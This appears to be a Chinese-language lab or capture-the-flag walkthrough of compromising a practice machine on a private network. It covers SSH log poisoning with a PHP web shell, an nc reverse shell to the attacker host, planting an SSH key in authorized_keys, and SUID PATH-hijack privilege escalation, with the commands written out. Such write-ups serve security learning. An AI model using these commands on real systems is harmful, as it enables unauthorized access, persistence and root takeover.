还是先扫一下c段

image-20230421180643418

进行端口扫描

image-20230421180739563

然后进行访问

image-20230421180934567

进行访问

image-20230421181000421

image-20230421181408827

image-20230421181349395

访问给的/littlequeenofspades.html

image-20230421182129099

然后查看源码,发现一段base64编码的代码,然后进行解码发现

image-20230421182611129

于是进行访问

image-20230421182643602

发现这是个ssh日志记录 可以尝试进行日志里写后门

看到出现ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,将用户名写成一句话就可以写马进日志中

1
使用命令:ssh '<?php system($_GET["a"]);?>'@192.168.142.142

image-20230421183202692

然后尝试看马有没有写进去

1
http://192.168.142.144/adminsfixit.php?a=whoami

image-20230421183448490

发现可以进行命令执行 然后进行nc 反弹shell

1
2
3
kali开启监听:nc -lvnp 4444
?xa=nc -e /bin/bash 192.168.142.129 4444
python -c 'import pty; pty.spawn("/bin/bash")' #交互shell

image-20230421184535768

反弹成功,然后进行shell交互

1
python -c 'import pty; pty.spawn("/bin/bash")' 

image-20230421184638397

发现还是存在.ssh 文件

1
2
3
4
5
直接在目标机生成一个公钥:ssh-keygen -t rsa
将生成的私钥保存到:/home/robertj/.ssh/id_rsa
将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证
cat id_rsa.pub > authorized_keys
然后将私钥复制到本机

image-20230421185302902

一步一步跟着搞,然后就生成了密钥和私钥

SSH公钥原理(密钥,秘钥,私钥)

1
ssh robertj@192.168.142.144 -i id_ssh

image-20230421194215924

image-20230421194359077

suid 发现了一个getinfo可以进行使用

image-20230421194544476

根据上面输出的结果,可以推测这个程序中执行了

ip addr, cat /etc/hosts, uname -a
因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一个 ip
或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权

1
2
3
4
5
export PATH=/tmp/:$PATH
cd /tmp
echo '/bin/bash' > ip
chmod +x ip
/usr/bin/getinfo

image-20230421195813143

成功提权

image-20230421195838680

本节通过信息收集获取到敏感文件,进而 SSH 日志写后门获取 shell,然后信息收集
获取 ssh 私钥获取 shell,最后利用 suid-命令劫持提权

信息收集
Base64 解码
ssh日志写后门获取 shell
信息收集获取 ssh 私钥获取 shell
suid-命令劫持提权